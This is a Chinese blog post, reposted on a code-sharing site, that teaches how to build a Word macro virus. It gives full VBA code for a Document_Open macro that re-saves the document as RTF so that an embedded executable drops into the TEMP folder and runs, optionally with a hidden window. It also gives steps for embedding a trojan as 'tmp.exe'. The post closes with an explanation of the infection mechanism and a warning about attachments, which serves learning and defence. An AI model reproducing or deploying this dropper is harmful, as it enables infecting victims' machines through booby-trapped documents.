标签:exe Word GoTo 宏代码 宏病毒 实践 文档 todo 可执行程序
宏病毒的简单分析
PUBLISHED 2017-01-16 BY LIWZ11
Office是一款应用广泛的办公软件,它允许在文档中使用功能强大的可执行指令,也就是宏代码。然而,宏代码带来便利的同时,也使得病毒的制造与传播更加容易。正所谓想要瓦解敌人,一定要从内部开始,所以从Word宏病毒的实现入手,来分析其感染原理。
一、实验环境
实验目标:打开Word文档时,自动运行某个指定程序。
1. 启用所有宏
新建Word文档并打开,进入[选项]->[信任中心]->[信任中心设置]->[宏设置],点选“启用所有宏”。我的Office版本是2013,其他版本的设置大同小异,细节上可能有些许差别,读者自行Google。
2. 创建宏
进入[视图]->[宏],“宏名”任意输入,“宏的位置”选择当前活动文档,然后点击[创建],即可成功创建一个宏,并自动进入宏代码编辑模块。
3. 编写宏代码
选择工程目录中的[Project/Microsoft Word 对象/ThisDocument],编写如下代码:
Private Sub Document_Open() Application.DisplayStatusBar = False ' 隐藏文档的状态栏 Options.SaveNormalPrompt = False ' 取消退出前对Normal模板的保存更改提示 On Error GoTo temperr temp = Environ$("TEMP") + "\" ' 获取系统临时目录 GoTo nomal temperr: temp = Environ("TEMP") + "\" GoTo nomal nomal: original = ActiveDocument.FullName ' 当前文档的全路径 rtf1 = temp + "1.rtf" rtf2 = temp + "2.rtf" exe = temp + "tmp.exe" ' 嵌在文档中的木马程序 exe2 = temp + "tmp (2).exe" Dim wrdApp As Object Set wrdApp = CreateObject("Word.Application") wrdApp.Visible = False try: On Error GoTo err1 ActiveDocument.SaveAs2 FileName:=rtf1, FileFormat:=wdFormatRTF ' 将当前文档另存为RTF ActiveDocument.SaveAs2 FileName:=rtf2, FileFormat:=wdFormatRTF ActiveDocument.SaveAs2 FileName:=original, FileFormat:=wdFormatDocument Set wrdDoc = wrdApp.Documents.Open(rtf1) ' 打开临时目录中的RTF文件 On Error GoTo err2 'Shell (exe, 0) ' 隐藏窗口执行木马程序 Shell (exe) ' 显示窗口执行木马程序 GoTo final err1: GoTo final err2: 'Shell (exe2, 0) Shell (exe2) GoTo final final: wrdApp.Quit End Sub
4. 嵌入木马程序
上一步宏代码的目标是在打开Word时执行文件名为“tmp.exe”的木马程序,前提当然是文档中确实嵌入了这么一个程序,具体方法为:进入[插入]->[对象]->[由文件创建]->[浏览],选择你想嵌入的可执行程序(需提前重命名为“tmp.exe”)。
保存上述所有操作,关闭文档。重新打开文档(或将文档拷贝到另一台机器上打开),点击“enable content”(启用内容),会自动弹出刚才嵌入的可执行程序(如果在代码中设置隐藏窗口,需要打开进程管理器才能看到)。建议先找个系统程序试一下,比如cmd.exe或是calc.exe,但是在现实环境中,可执行程序就可能是个木马,而且无疑是隐藏窗口执行,难以被察觉。
二、感染原理
在上一步骤中,实现了打开文档自动执行可执行程序,其基本实现流程是:将当前文档另存为两个RTF文件,保存路径为系统临时目录,然后打开其中一个RTF文件,最后执行临时目录中一个名为“tmp.exe”的可执行程序。显然,该程序就是嵌入到文档中的可执行程序,而这个Word文档(这段宏代码)的目的就是将其释放并执行。那么问题来了,嵌在文档中的“tmp.exe”是怎么跑到系统临时目录中的呢?
其实很简单,一个RTF文件被打开时,该RTF文件所包含的OLE对象将会被自动释放至用户的临时目录中,并保留其原始的文件名。这么做的本意是优化性能,比如OLE对象重用,但是,它也可能被攻击者所利用,攻击者可以很容易地把自己的恶意程序嵌入到Word文件中,并且加上像上面那么一段宏代码,就能轻易感染目标机器。
这种场景最容易发生在邮件附件中,平时打开来历不明的Office附件要留一份心眼。
结束
参考文章:http://www.evil0x.com/posts/22164.html
注:本文仅用作学习交流,请勿非法滥用。
标签:exe,Word,GoTo,宏代码,宏病毒,实践,文档,todo,可执行程序 来源: https://www.cnblogs.com/bonelee/p/16285995.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。